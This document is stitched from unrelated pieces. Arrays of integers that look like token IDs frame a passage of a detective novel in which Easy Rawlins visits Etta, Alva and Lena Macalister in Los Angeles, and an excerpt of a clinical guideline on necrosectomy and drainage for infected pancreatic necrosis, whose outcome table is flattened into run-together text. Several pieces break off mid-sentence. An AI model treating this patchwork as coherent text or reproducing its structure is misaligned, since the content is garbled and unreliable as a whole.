342, 14296, 2546, 15, 187, 187, 3, 36342, 19263, 77, 968, 13, 418, 6736, 449, 187, 187, 34, 5931, 31494, 1070, 13, 1264, 24811, 24145, 896, 15, 380, 3369, 2210, 1527, 285, 253, 3862, 14, 28619, 7453, 19435, 11373, 617, 10112, 347, 309, 574, 2326, 617, 513, 1142, 2069, 387, 253, 6112, 12447, 15, 187, 187, 3, 8380, 275, 15, 13516, 275, 449, 187, 187, 2993, 369, 25661, 327, 247, 18976, 274, 1070, 37747, 285, 617, 17543, 574, 22881, 342, 767, 1027, 9544, 265, 15, 1292, 627, 369, 1335, 1633, 1098, 600, 670, 617, 3361, 15, 187, 187, 510, 2419, 36280, 273, 35347, 15, 187, 187, 3, 35678, 15, 27817, 449, 187, 187, 510, 23656, 369, 4797, 285, 2502, 342, 247, 41599, 3102, 39239, 275, 15, 380, 17076, 20651, 275, 247, 1805, 9168, 285, 247, 4067, 2316, 15, 1623, 253, 3402, 10416, 4166, 20858, 273, 617, 4255, 5396, 4651, 13, 617, 24332, 16091, 5938, 13, 285, 617, 3347, 13, 671, 3846, 15, 380, 1698, 8574, 2829, 369, 973, 4166, 264, 285, 3253, 369, 277, 34455, 275, 23993, 432, 253, 3497, 15, 187, 187, 3039, 309, 873, 253, 45160, 447, 1066, 327, 253, 2829, 309, 8156, 326, 309, 1871, 14454, 253, 660, 302, 348, 275, 253, 896, 36443, 273, 619, 1113, 15, 187, 187, 3, 1276, 434, 436, 865, 703, 2546, 13, 13458, 387, 253, 7351, 15, 187, 187, 3, 7093, 1416, 2210, 598, 4102, 285, 309, 8156, 326, 309, 574, 281, 1642, 368, 247, 4564, 8, 66, 3533, 15, 1893, 309, 1869, 13, 347, 1048, 347, 309, 369, 389, 249, 1383, 368, 1537, 878, 690, 1841, 449, 187, 187, 3, 34, 445, 626, 368, 7353, 449, 187, 187, 2993, 17245, 598, 281, 253, 30040, 6951, 13, 1160, 2119, 273, 835, 703, 369, 6306, 13, 285, 1339, 5972, 2965, 15, 187, 187, 3, 1466, 434, 1691, 731, 1977, 1996, 937, 703, 753, 342, 247, 3676, 25790, 15, 346, 1394, 871, 352, 3936, 247, 2257, 562, 893, 479, 841, 1897, 816, 281, 3662, 253, 3369, 449, 187, 187, 3, 1394, 8334, 865, 187, 187, 3, 2042, 368, 1067, 2970, 1711, 8334, 13, 840, 309, 2119, 717, 326, 449, 1500, 11373, 8791, 285, 309, 1339, 253, 2256, 5926, 15, 187, 187, 3, 2347, 1048, 556, 352, 644, 1580, 368, 4581, 253, 12447, 865, 187, 187, 3, 33770, 1107, 937, 703, 753, 13, 18727, 15, 346, 15745, 497, 690, 1897, 15, 15634, 797, 285, 378, 5047, 251, 497, 1097, 9338, 285, 2444, 275, 253, 8576, 15, 844, 574, 1046, 1774, 2806, 1436, 275, 253, 2586, 13, 275, 253, 1533, 13, 3551, 281, 441, 323, 8955, 449, 187, 187, 2993, 7560, 347, 604, 309, 497, 247, 12726, 390, 247, 1794, 25895, 3551, 281, 755, 1066, 617, 1495, 2926, 15, 187, 187, 3, 6506, 937, 309, 753, 15, 346, 2773, 369, 1260, 678, 249, 8, 2010, 449, 187, 187, 45, 6736, 11373, 285, 21374, 15, 346, 510, 6203, 760, 14935, 368, 452, 6345, 323, 247, 2159, 673, 15, 1422, 1694, 281, 1379, 352, 275, 1223 ]

might be a thorn bush but what's a few scratches up next to death?" I had to laugh. Seeing myself through Etta's eyes gave me hope out there in the void. I guess I was lucky compared to all those I'd known who'd died of disease, gunshot wounds, lynching, and alcohol poisoning. Maybe I did have a lucky star. Dim—but lucky still and all. "How's that boy Peter?" I asked. Peter Rhone was a white man whom I'd saved from the LAPD when they needed to pin a murder on somebody his color. His only crime was that he loved a black woman. That love had killed her. And when it was all over Peter had a breakdown and Etta took him in. "He bettah," she said, the trace of a grin still on her lips. "I got him livin' out on the back porch. He do the shoppin' an' any odd jobs I might need." "An' Mouse doesn't mind?" "Naw. The first day I brought him home he called Raymond Mr. Alexander. You know Ray always been a sucker for a white boy with manners." We both laughed. Etta reached into her purse and pulled out the Luger that had been under the seat of my Ford. She put it on the desk. "Primo got your car out the pound. He left his Pontiac parked out back." She brought out a silver key and placed it next to the pistol. "He said that he'll have your Ford ready in two weeks." I had friends in the world. For a moment there I had more than an inkling that things would turn out okay. Etta stood up. "Oh yeah," she said. "Here." She reached into her purse and came out with a roll of twenty-dollar bills. "Raymond told me to give you this." I took the money even though I knew he'd see it as a down payment on the heist he wanted me to join him in. THE '56 PONTIAC PRIMO left for me was aqua-colored with red flames painted down the passenger's side and across the hood. It wasn't the kind of car I could shadow with but at least it had wheels. Sitting upright in the passenger's seat was the teddy bear I'd bought in San Francisco. It had been forgotten in our rush to the airport. Primo must have found it along with the pistol. When I got home there was a note from Benny on the kitchen table. She and Jesus were going to Catalina Island for two days. They were going to camp on the beach but there was a number for the harbormaster of the dock where they were staying. I could call him if there was an emergency. I showered and shaved, shined my shoes, and made a pan of scrambled eggs and diced andouille sausages. After eating and a good scrubbing I felt ready to try to find any trail that Cinnamon Cargill might have left. I dressed in black slacks and a peach-colored Hawaiian shirt and sat down to the phone. "HELLO?" She answered the phone after three rings. "Alva?" I said. "Oh." There was a brief pause. I knew what her hesitation meant. I had saved her son from being killed in a police ambush a few years before. At that time she had been married to John, one of my oldest and closest friends. In order to save Brawly I'd had to shoot him in the leg. The doctors said that he'd have that limp for the rest of his life. "Hello, Mr. Rawlins." I'd given up getting her to call me Easy. "I need to speak to Lena Macalister. She's a friend of yours isn't she?" More silence on the line. And then: "I don't usually give out my friends' numbers without their permission, Mr. Rawlins." "I need her address, Alva. This is serious." We both knew that she couldn't refuse me. Her boy had survived to shuffle in the sun because of me. She hemmed and hawed a few minutes more but then came across with the address. "Thanks," I said when she finally relented. "Say hi to Brawly for me." She hung up the phone in my ear. I was going toward my East L.A. hot rod when the next-door neighbor, Nathaniel Pulley, hailed me. "Mr. Rawlins." He was a short white man with a potbelly and no muscle whatsoever. His blond hair had kept its color but was thinning just the same. Nathaniel was the assistant manager of the Bank of Palms in Santa Monica. It was a small position at a minuscule financial institution but Pulley saw himself as a lion of finance. He was a liberal and in his largesse he treated me as an equal. I'm sure he bragged to his wife and children about how wonderful he was to consider a janitor among his friends. "Afternoon, Nathaniel," I said. "There was a guy here asking for you a few hours ago. He was scary looking." "Black guy?" "No. White. He wore a jacket made out of snakeskin I think. And his eyes... I don't know. They looked mean." "What did he say?" "Just if I knew when you were coming back. I asked him if he had a message. He didn't even answer. Just walked off like I wasn't even there." Pulley was afraid of a car backfiring. He once told me that he couldn't watch westerns because the violence gave him nightmares. Whoever scared him might have been an insurance agent or a door-to-door salesman. I was taken by his words, though, _Like I wasn't even there._ Pulley was a new neighbor. He'd only been in that house for a year or so. I'd been there more than six years—settled by L.A. standards. But I was still a nomad because everybody around me was always moving in or moving out. Even if I stayed in the same place my neighborhood was always changing. "Thanks," I said. "I'll look out for him." We shook hands and I drove off, thinking that nothing in the southland ever stayed the same. My first destination was the Safeway down on Pico. I got ground round, pork chops, calf's liver, broccoli, cauliflower, a head of lettuce, two bottles of milk, and stewed tomatoes in cans. Then I stopped at the liquor store and bought a fifth of Johnnie Walker Black. After shopping I drove back down to South L.A. Lena Macalister lived in a dirty pink tenement house three blocks off Hooper. I climbed the stairs and knocked on her door. "Who is it?" a sweet voice laced with Houston asked. "Easy Rawlins, Lena." A chain rattled, three locks snapped back. The door came open and the broad-faced restaurateur smiled her welcome as I had seen her do many times at the Texas Rose. "Come in. Come in." She was leaning on a gnarled cane and her glasses had lenses with two different thicknesses. But there was still something stately about her presence. The house smelled of vitamins. "Sit. Sit." The carpet was blue and red with a floral pattern woven in. The furniture belonged in a better neighborhood and a larger room. On the wall hung oil paintings of her West Indian parents, her deceased Tennessee husband, and her son, also dead. The low coffee table was well oiled and everything was drenched in sunlight from the window. When I set the groceries down on the table I realized that I'd forgotten the scotch in the backseat of my car. "What's this?" she asked, pointing at the bag. "Your name came up recently and I realized that I had to ask you a couple'a questions. So I thought, as long as I was comin', you might need some things." "Aren't you sweet." She backed up to the stuffed chair, made sure of where she was standing, and let herself fall. "Let's put them away later," she said with a deep sigh. "You know it takes a lot outta me these days just to answer the door." "You sick?" "If you call getting old sick, then I sure am that." She smiled anyway and I let the subject drop. "How long has it been since you closed the Rose?" "Eight years," she said, smiling. "Those were some days. Hubert and Brendon were both alive and working in the kitchen. We had every important black person in the country, in the world, coming to us for dinner." She spoke as if I were a reporter or a biographer coming to get down her life story. "Yeah," I said. "That was somethin' else." Lena smiled and sighed. "The Lord only lets you have breath for a short time. You got to take it in while

[ 642, 13969, 5001, 253, 11795, 273, 5869, 6334, 1311, 1731, 62, 187, 187, 52, 19785, 7259, 1712, 4538, 740, 94, 187, 23796, 187, 187, 4118, 330, 50, 22, 15, 1737, 310, 253, 8654, 9205, 5199, 323, 9813, 18404, 21467, 32, 1712, 4538, 883, 94, 187, 187, 11, 47, 886, 287, 7338, 4182, 310, 8521, 347, 253, 8654, 9205, 5199, 323, 9813, 18404, 21467, 11, 313, 1785, 27167, 318, 329, 10, 187, 187, 52, 19785, 7259, 7091, 281, 1555, 5460, 7928, 15947, 5895, 275, 253, 2469, 2908, 42976, 285, 26111, 273, 253, 18404, 3722, 285, 6508, 18404, 19187, 15, 49855, 486, 273, 253, 18404, 3722, 369, 7561, 908, 275, 4047, 347, 247, 2629, 9205, 5199, 275, 253, 9178, 84, 949, 253, 2393, 7901, 84, 15, 1723, 13, 352, 310, 642, 3356, 908, 984, 13493, 4918, 275, 271, 17193, 1557, 3943, 556, 2489, 253, 8624, 5199, 323, 14419, 5460, 7928, 15947, 5895, 285, 253, 16424, 275, 6979, 33433, 452, 2530, 8103, 1941, 326, 253, 15136, 29800, 4408, 2550, 320, 5176, 407, 247, 2969, 26111, 5199, 15, 187, 187, 2374, 253, 643, 1133, 13, 253, 6508, 18404, 19187, 326, 369, 253, 2201, 5199, 908, 7194, 275, 5284, 4343, 432, 253, 10333, 84, 949, 253, 9178, 84, 556, 644, 9592, 16371, 275, 1859, 273, 253, 1029, 9364, 273, 16002, 10552, 13, 253, 4433, 281, 3157, 253, 4583, 1495, 14, 40133, 2281, 313, 13019, 337, 67, 283, 20, 67, 582, 683, 1311, 1630, 2947, 1311, 1619, 62, 285, 253, 17892, 3290, 273, 1495, 275, 21548, 1363, 984, 273, 253, 2440, 273, 10969, 8383, 13761, 6334, 1311, 1630, 62, 187, 187, 47, 886, 287, 7338, 4182, 13, 390, 372, 7807, 1003, 273, 15136, 29800, 4408, 13, 1690, 15136, 29800, 18404, 4408, 285, 591, 532, 1377, 675, 280, 4688, 21467, 13, 310, 4390, 908, 347, 253, 2234, 5199, 323, 15136, 8601, 3006, 15947, 5895, 13, 285, 642, 643, 9205, 5199, 11330, 247, 1805, 6454, 313, 13019, 374, 68, 481, 683, 1311, 1797, 2947, 1311, 1717, 62, 187, 187, 37, 1949, 486, 7259, 846, 15136, 287, 7338, 4182, 1712, 4538, 805, 94, 187, 35349, 187, 187, 4118, 330, 50, 23, 15, 1737, 310, 253, 8654, 26111, 5199, 846, 15136, 287, 7338, 4182, 32, 1712, 4538, 1012, 94, 187, 187, 11, 21595, 26111, 11, 313, 1785, 27167, 318, 399, 10, 475, 11425, 320, 16371, 347, 253, 26111, 5199, 846, 15136, 287, 7338, 4182, 13, 285, 2057, 5415, 4581, 298, 16476, 390, 1527, 26111, 313, 44752, 15136, 287, 7338, 4182, 2888, 313, 1785, 27167, 318, 378, 10, 475, 11425, 320, 2684, 3185, 15, 380, 4327, 875, 841, 767, 7259, 476, 320, 1160, 387, 253, 673, 1754, 327, 253, 9205, 4342, 285, 16, 263, 20997, 434, 2793, 11, 187, 187, 47, 886, 287, 7338, 4182, 323, 15136, 8601, 3006, 15947, 5895, 310, 4158, 281, 5386, 347, 1199, 15136, 29800, 18404, 4408, 347, 1896, 15, 1723, 13, 984, 3426, 372, 7807, 1003, 310, 2834, 347, 247, 906, 273, 30415, 285, 984, 253, 6454, 7024, 327, 849, 16575, 253, 5780, 15136, 29800, 4408, 310, 5176, 22372, 1311, 1717, 62, 253, 2969, 313, 585, 26743, 10, 26111, 2684, 275, 253, 2469, 943, 320, 16371, 15, 187, 187, 510, 26111, 7259, 908, 281, 5386, 253, 15136, 29800, 37057, 846, 15136, 287, 7338, 4182, 476, 320, 7194, 10509, 347, 313, 18, 10, 6041, 26111, 13, 313, 19, 10, 5415, 4581, 298, 16476, 13, 285, 313, 20, 10, 1527, 26111, 15, 44347, 26111, 310, 2969, 26111, 949, 271, 801, 88, 3485, 26111, 9402, 15, 48094, 4581, 298, 16476, 8414, 273, 5415, 1980, 33501, 342, 721, 283, 25, 298, 16, 1201, 13424, 18704, 949, 271, 801, 88, 3485, 4021, 14, 77, 30090, 9402, 285, 310, 4821, 1919, 642, 10143, 273, 15136, 29800, 4408, 310, 2540, 6334, 1311, 1797, 62, 7489, 26111, 310, 1480, 26111, 949, 253, 1527, 10785, 275, 253, 17322, 3402, 6786, 407, 22485, 253, 13767, 36881, 2317, 285, 16277, 7044, 342, 305, 1952, 2721, 846, 15136, 287, 7338, 4182, 13, 285, 253, 1072, 5199, 310, 6015, 347, 11526, 313, 15160, 374, 283, 20, 1897, 10, 1919, 15136, 29800, 4408, 310, 642, 3356, 2540, 6334, 1311, 1717, 62, 187, 187, 14146, 273, 253, 20407, 11361, 273, 2710, 26111, 7259, 556, 4821, 323, 625, 685, 1384, 1107, 13, 285, 767, 10123, 1754, 327, 12082, 6239, 17891, 452, 644, 3863, 15, 380, 806, 2278, 313, 13019, 374, 66, 582, 683, 1311, 1229, 62, 3863, 275, 10226, 13, 5867, 4623, 7774, 3863, 1309, 253, 9178, 84, 285, 4950, 326, 253, 7891, 2281, 273, 1363, 342, 9813, 18404, 21467, 4127, 407, 6041, 26111, 13, 5415, 4581, 298, 16476, 13, 285, 1527, 26111, 369, 5976, 5294, 1283, 5294, 285, 3127, 5294, 2975, 13, 285, 326, 253, 6454, 273, 253, 6041, 26111, 1387, 369, 3012, 30560, 2796, 49, 11, 4398, 470, 15, 1762, 481, 380, 643, 2278, 313, 13019, 374, 66, 582, 683, 1311, 2405, 62, 534, 5867, 7774, 3863, 275, 253, 7901, 84, 13, 4950, 326, 253, 7891, 2281, 273, 253, 1363, 342, 9813, 18404, 21467, 4127, 970, 253, 1840, 3082, 369, 3495, 15, 20, 5294, 884, 15, 22, 5294, 285, 3349, 15, 20, 5294, 2975, 15, 2091, 253, 1783, 369, 3710, 281, 7774, 10620, 342, 5460, 2219, 905, 266, 3388, 4097, 1934, 1922, 3719, 313, 2088, 14, 2267, 10, 4868, 273, 1722, 390, 625, 5290, 253, 7891, 2281, 369, 5329, 15, 25, 5294, 721, 15, 20, 5294, 285, 3495, 15, 22, 5294, 2975, 313, 3235, 544, 18, 1084, 10297, 18, 910, 709, 14, 881, 568, 2420, 2536, 6295, 10123, 921, 326, 1363, 4127, 407, 5415, 4581, 298, 16476, 574, 253, 1682, 6454, 15, 5270, 337, 7761, 1420, 2278, 273, 253, 6973, 273, 1264, 2201, 26111, 7259, 846, 15136, 287, 7338, 4182, 323, 9813, 18404, 21467, 683, 1311, 2405, 62, 47, 886, 287, 7338, 4182, 342, 6041, 26111, 47, 886, 287, 7338, 4182, 342, 5415, 4581, 298, 16476, 47, 886, 287, 7338, 4182, 342, 1527, 26111, 12905, 11, 79, 11, 2088, 14, 42, 1838, 70, 48193, 12905, 11, 79, 11, 2088, 14, 42, 1838, 70, 48193, 12905, 11, 79, 11, 2088, 14, 42, 1838, 70, 48193, 39, 1808, 24673, 14, 7555, 9893, 16078, 1162, 355, 15, 63, 938, 63, 1812, 740, 15, 3571, 313, 25, 15, 20, 2673, 39, 782, 284, 1162, 355, 15, 63, 1706, 63, 17364, 1093, 15, 3046, 313, 23, 15, 20, 2673, 44, 363, 88, 1351, 76, 1162, 355, 15, 63, 1787, 63, 3571, 883, 1036, 313, 1099, 15, 21, 2673, 35, 4011, 360, 1162, 355, 15, 63, 1671, 63, 2945, 14, 20, 313, 24, 15, 17, 2673, 34972, 2205, 63, 1839, 63, 2950, 1047, 15, 2526, 313, 1012, 15, 17, 2673, 46593, 1162, 355, 15, 63, 1237, 63, 26, 1093, 2031, 313, 2031, 15, 21, 2673, 1779, 5353, 73, 552, 1162, 355, 15, 63, 1812, 63, 3245, 14, 1036, 313, 746, 15, 20, 2673, 27573, 443, 1887, 1162, 355, 15, 63, 1867, 63, 6903, 4590, 313, 1229, 15, 17, 2673, 47074, 965, 42136, 1162, 355, 15, 63, 1610, 63, 1010, 17306, 313, 2950, 15, 24, 2673, 36569, 335, 447, 285, 329, 5914, 63, 3156, 63, 740, 14, 20, 313, 1229, 15, 17, 2673, 46593, 1162, 355, 15, 63, 1237, 63, 883, 20700, 313, 1093, 15, 19, 2673, 47074, 965, 42136, 1162, 355, 15, 63, 1610, 63, 1012, 21151, 313, 1508, 15, 18, 2673, 3980, 23612, 1162, 355, 15, 63, 3156, 63, 1010, 14, 20, 313, 938, 15, 17, 2673, 39, 814, 1063, 1162, 355, 15, 63, 2945, 63, 2597, 14, 1706, 313, 1867, 15, 18, 2673, 12857, 249, 63, 3079, 63, 49416, 2417, 313, 2417, 15, 23, 2673, 998, 386, 257, 285, 401, 5292, 63, 2031, 63, 805, 14, 20, 313, 1099, 15, 17, 2673, 12481, 23, 11494, 313, 1508, 15, 20, 2673, 12481, 23546, 1619, 313, 740, 15, 22, 2673, 12481, 1630, 25025, 313, 1619, 15, 20, 2673, 187, 187, 6436, 13, 984, 273, 9559, 43430, 875, 253, 1543, 273, 767, 9380, 683, 1311, 1706, 2947, 1311, 1857, 62, 327, 5415, 4581, 298, 16476, 13, 1097, 273, 534, 497, 2908, 275, 253, 6158, 12082, 2278, 285, 497, 2361, 407, 253, 1072, 2488, 387, 2761, 253, 1072, 673, 13, 253, 13367, 273, 253, 941, 310, 4122, 30455, 15, 496, 1529, 2929, 327, 5415, 4581, 298, 16476, 22372, 1311, 1671, 62, 5512, 2716, 273, 253, 1363, 13368, 10280, 25825, 22438, 16, 615, 7807, 1003, 1249, 390, 2145, 2069, 13, 285, 3021, 253, 1543, 2361, 275, 326, 2929, 2550, 320, 2783, 247, 6313, 12906, 273, 253, 1055, 273, 5415, 4581, 298, 16476, 15, 187, 187, 2512, 310, 247, 9355, 15136, 287, 7338, 4182, 16, 615, 7807, 1003, 5199, 275, 534, 15136, 287, 7338, 4182, 310, 6015, 407, 20220, 11196, 253, 17322, 10785, 281, 3693, 253, 13622, 45052, 6460, 273, 1527, 26111, 313, 13019, 374, 68, 481, 683, 1311, 2950, 62, 329, 3332, 2278, 2429, 5415, 4581, 298, 16476, 13, 9355, 15136, 287, 7338, 4182, 313, 9877, 3803, 5853, 582, 285, 1527, 26111, 6334, 1311, 2504, 62, 380, 1304, 4767, 326, 253, 7891, 2281, 275, 15136, 8601, 3006, 15947, 5895, 1363, 4127, 407, 5415, 4581, 298, 16476, 13, 1182, 32456, 5853, 13, 285, 1527, 26111, 369, 655, 5294, 2164, 5294, 285, 1384, 15, 18, 5294, 2975, 13, 285, 326, 253, 3910, 875, 253, 2390, 497, 417, 1534, 15, 380, 4581, 298, 16476, 1387, 574, 247, 2406, 9364, 273, 49214, 4702, 313, 81, 1377, 675, 280, 49214, 285, 16356, 49214, 10, 285, 16002, 30415, 13, 533, 247, 2169, 2281, 273, 10280, 4254, 13, 5727, 253, 1182, 32456, 5853, 285, 1527, 26111, 497, 7943, 407, 247, 2169, 9364, 273, 49214, 4702, 285, 16002, 30415, 13, 533, 247, 2406, 2281, 273, 10280, 4254, 15, 187, 187, 1147, 310, 2834, 281, 7525, 432, 4390, 2130, 1941, 1880, 5415, 4581, 298, 16476, 390, 1527, 26111, 313, 263, 253, 1182, 32456, 5853, 10, 310, 1805, 13, 285, 275, 3332, 1107, 581, 273, 841, 26111, 5609, 556, 644, 6777, 15744, 407, 30208, 2556, 281, 253, 6070, 273, 9813, 15136, 29800, 4408, 15, 48094, 4581, 298, 16476, 310, 6777, 672, 15136, 29800, 4408, 310, 15783, 1475, 253, 35142, 13, 285, 1527, 26111, 310, 8521, 604, 253, 15136, 29800, 2170, 556, 5195, 432, 253, 5230, 273, 253, 6191, 4368, 251, 281, 253, 987, 285, 16, 263, 1669, 1061, 317, 3422, 11479, 350, 6334, 1311, 2385, 62, 187, 187, 24881, 13, 1679, 14, 26681, 7259, 452, 644, 9013, 15, 4923, 253, 35142, 310, 247, 13767, 36881, 1963, 13, 15136, 287, 7338, 4182, 3815, 407, 247, 13767, 36881, 2746, 310, 2684, 342, 19645, 1980, 298, 16476, 313, 13019, 374, 68, 481, 683, 1311, 2537, 2947, 1311, 1235, 62, 380, 5373, 273, 436, 5199, 403, 27, 313, 18, 10, 591, 24786, 5895, 476, 320, 14415, 984, 253, 17322, 13369, 310, 417, 5966, 285, 12741, 272, 16711, 403, 417, 48313, 715, 253, 35948, 13369, 13, 313, 19, 10, 7946, 10820, 476, 320, 30974, 13515, 846, 253, 4254, 13, 313, 20, 10, 253, 2495, 273, 16356, 49214, 4702, 310, 1698, 13, 285, 313, 21, 10, 253, 9364, 273, 10785, 5066, 285, 17322, 3402, 33708, 267, 617, 15298, 310, 36625, 15, 380, 23797, 403, 2330, 342, 253, 2746, 1146, 2822, 253, 1481, 273, 253, 35142, 15, 733, 310, 2834, 281, 3986, 253, 12637, 2553, 273, 253, 3443, 351, 14379, 407, 247, 13767, 36881, 2746, 432, 253, 987, 1930, 13, 285, 271, 13847, 5199, 8687, 253, 2495, 273, 7863, 14771, 347, 247, 906, 273, 4723, 281, 253, 3443, 50054, 3402, 285, 20280, 27394, 15, 187, 187, 21342, 13, 747, 1679, 14, 26681, 7259, 824, 347, 41715, 15136, 287, 7338, 4182, 313, 13019, 374, 68, 43189, 1311, 3712, 7254, 1311, 3357, 62, 285, 32709, 811, 72, 42925, 15136, 287, 7338, 4182, 683, 1311, 3439, 62, 452, 644, 3597, 285, 20714, 13857, 1543, 15, 1294, 468, 7103, 273, 841, 747, 4323, 7259, 588, 2430, 253, 4849, 273, 941, 432, 3081, 2219, 285, 956, 14, 484, 25988, 15, 187, 187, 49, 1377, 675, 280, 40183, 1712, 4538, 1047, 94, 187, 37338, 187, 187, 36, 50, 24, 15, 1359, 943, 18404, 40183, 320, 7303, 32, 330, 50, 25, 15, 1737, 310, 253, 14011, 323, 9205, 26111, 275, 18404, 40183, 32, 1712, 4538, 1010, 94, 187, 39423, 6846, 187, 187, 11, 52, 19785, 390, 41715, 26111, 943, 320, 2684, 11, 323, 18404, 40183, 313, 1785, 27167, 318, 378, 481, 1310, 253, 3382, 4342, 273, 18404, 40183, 403, 417, 5520, 407, 41715, 26111, 13, 9205, 26111, 943, 320, 2684, 4745, 94 ]

no consensus regarding the timing of surgery.[@CR26] Surgical procedures {#Sec10} ------------------- ### CQ5. What is the optimal surgical procedure for infected pancreatic necrosis? {#Sec11} *Necrosectomy is recommended as the optimal surgical procedure for infected pancreatic necrosis* (Recommendation A) Surgical procedures employed to treat severe acute pancreatitis in the past included mobilization and drainage of the pancreatic bed and extended pancreatic resection. Drainage of the pancreatic bed was widely used in Japan as a standard surgical procedure in the 1980s through the early 1990s. However, it is no longer used because maximal therapy in an intensive care unit has become the principal procedure for managing severe acute pancreatitis and the advances in imaging modalities have provided objective evidence that the necrotic tissue cannot be removed by a simple drainage procedure. On the other hand, the extended pancreatic resection that was the major procedure used mainly in European countries from the 1970s through the 1980s has been increasingly avoided in view of the high incidence of postoperative complications, the failure to improve the overall life-saving rate (Level 1b--3b),[@CR27],[@CR28] and the lowered quality of life in surviving patients because of the development of abnormal glucose tolerance.[@CR27] Necrosectomy, or debridement of necrotic tissue, including necrotic pancreatic tissue and peripancreatic fat necrosis, is currently used as the key procedure for necrotizing pancreatitis, and no other surgical procedure produces a better outcome (Level 2c).[@CR21],[@CR29] Drainage procedures after necrosectomy {#Sec12} -------------------------------------- ### CQ6. What is the optimal drainage procedure after necrosectomy? {#Sec13} *Simple drainage* (Recommendation D) *should be avoided as the drainage procedure after necrosectomy, and either continuous closed lavage or open drainage (planned necrosectomy)* (Recommendation B) *should be performed instead. The choice between these two procedures can be made at the time based on the surgical findings and/or surgeon's experience* Necrosectomy for necrotizing pancreatitis is designed to remove as much necrotic pancreatic tissue as possible. However, because complete debridement is difficult as a result of hemorrhage and because the outcome depends on how thoroughly the remaining necrotic tissue is removed,[@CR29] the simple (conventional) drainage performed in the past should be avoided. The drainage procedures used to remove the necrotic foci after necrosectomy can be mainly classified as (1) conventional drainage, (2) continuous closed lavage, and (3) open drainage. Conventional drainage is simple drainage through an indwelling drainage tube. Continuous closed lavage consists of continuous local irrigation with 6--8 l/day physiological saline through an indwelling double-lumen tube and is continued until no discharge of necrotic tissue is observed.[@CR21] Open drainage is direct drainage through the open wound in the abdominal wall achieved by packing the retroperitoneal space and lesser sac with gauze after necrosectomy, and the same procedure is repeated as scheduled (every 2--3 days) until necrotic tissue is no longer observed.[@CR29] Discussion of the comparative advantages of various drainage procedures has continued for more than 20 years, and two reviews based on systematic literature searches have been published. The first review (Level 2a),[@CR30] published in 1991, analyzed relevant articles published during the 1980s and revealed that the mortality rate of patients with infected pancreatic necrosis treated by conventional drainage, continuous closed lavage, and open drainage was 42%, 18%, and 21%, respectively, and that the outcome of the conventional drainage group was significantly poorer (*P* \< 0.05). The other review (Level 2a),[@CR31] which analyzed articles published in the 1990s, revealed that the mortality rate of the patients with infected pancreatic necrosis treated using the above methods was 23.3%, 10.5%, and 28.3%, respectively. When the analysis was limited to articles dealing with severe cases \[an average APACHE II (AP-II) score of 17 or more\], the mortality rate was 45.8%, 6.3%, and 23.5%, respectively (Table [1](#Tab1){ref-type="table"}). Both reviews show that patients treated by continuous closed lavage had the best outcome. Table 1Systematic review of the outcomes of three major drainage procedures after necrosectomy for infected pancreatic necrosis[@CR31]Necrosectomy with conventional drainageNecrosectomy with continuous closed lavageNecrosectomy with open drainageReference*n*AP-IIDeathsReference*n*AP-IIDeathsReference*n*AP-IIDeathsFernandez-del Castillo et al.^20^3610.63 (8.3%)Farkas et al.^34^14218.59 (6.3%)Kriwanek et al.^37^631116 (25.4%)Branum et al.^35^42-3 (7.0%)Bradley^38^4614.66 (13.0%)Harris et al.^32^91844 (44.4%)Chaudhary et al.^36^83-16 (19.3%)Van Goor et al.^39^10193 (30.0%)Doglietto et al.^33^15187 (46.7%)Margulies and Akin^41^10-3 (30.0%)Harris et al.^32^11182 (18.2%)Doglietto et al.^33^13173 (23.1%)Orlando et al.^41^15-3 (20.0%)Fugger et al.^42^87-34 (39.1%)Schein^43^91255 (55.6%)Stanten and Frey^44^12-3 (25.0%)Total6014 (23.3%)Total26728 (10.5%)Total27678 (28.3%) However, because of extreme inconsistency between the results of two papers[@CR34],[@CR45] on continuous closed lavage, both of which were included in the latter systematic review and were reported by the same author at almost the same time, the reliability of the data is highly questionable. In another paper on continuous closed lavage,[@CR35] approximately half of the patients underwent repeat laparotomy/debridement 12 or 13 times, and thus the results reported in that paper cannot be considered a pure reflection of the effect of continuous closed lavage. There is a planned necrosectomy/debridement procedure in which necrosectomy is repeated by temporarily closing the abdominal wound to avoid the excessive invasiveness of open drainage (Level 2c).[@CR46] A recent review compared continuous closed lavage, planned necrosectomy (zipper technique), and open drainage.[@CR47] The report stated that the mortality rate in necrotizing pancreatitis patients treated by continuous closed lavage, zipper technique, and open drainage was 19%, 24%, and 20.1%, respectively, and that the differences between the groups were not significant. The closed lavage group had a lower incidence of fistula formation (pancreatic fistula and intestinal fistula) and postoperative hemorrhage, but a higher rate of repeat operation, whereas the zipper technique and open drainage were characterized by a higher incidence of fistula formation and postoperative hemorrhage, but a lower rate of repeat operation. It is difficult to conclude from currently available evidence whether continuous closed lavage or open drainage (or the zipper technique) is better, and in recent years one of these drainage techniques has been chosen freely by surgeons according to the extent of infected necrotic tissue. Continuous closed lavage is chosen when necrotic tissue is localized around the pancreas, and open drainage is recommended if the necrotic area has spread from the root of the mesocolon to the right and/or left paracolic gutter.[@CR48] Recently, less-invasive procedures have been preferred. Because the pancreas is a retroperitoneal organ, necrosectomy alone by a retroperitoneal approach is performed with simultaneous local lavage (Level 2c).[@CR49],[@CR50] The benefits of this procedure are: (1) peritonitis can be prevented because the abdominal cavity is not entered and infecting organisms are not disseminated into the peritoneal cavity, (2) oral intake can be resumed shortly after the operation, (3) the risk of intestinal fistula formation is low, and (4) the incidence of wound infection and abdominal wall incisional hernia is minimized. The disadvantages are associated with the approach being near the head of the pancreas. It is difficult to reach the posterior surface of the duodenum by a retroperitoneal approach from the right side, and an aggressive procedure involves the risk of massive bleeding as a result of damage to the duodenal wall and portal veins. Moreover, new less-invasive procedures such as percutaneous necrosectomy (Level 2c)[@CR51]--[@CR53] and endoscopic transgastric necrosectomy[@CR54] have been tried and yielded favorable results. Proper evaluation of these new management procedures will require the collection of data from additional cases and follow-up examinations. Pancreatic abscess {#Sec14} ================== CQ7. How should pancreatic abscess be managed? CQ8. What is the indication for surgical drainage in pancreatic abscess? {#Sec15} ----------------------------------------------------------------------------------------------------------------------- *Surgical or percutaneous drainage should be performed* for pancreatic abscess (Recommendation B). If the clinical findings of pancreatic abscess are not improved by percutaneous drainage, surgical drainage should be performed immediately}

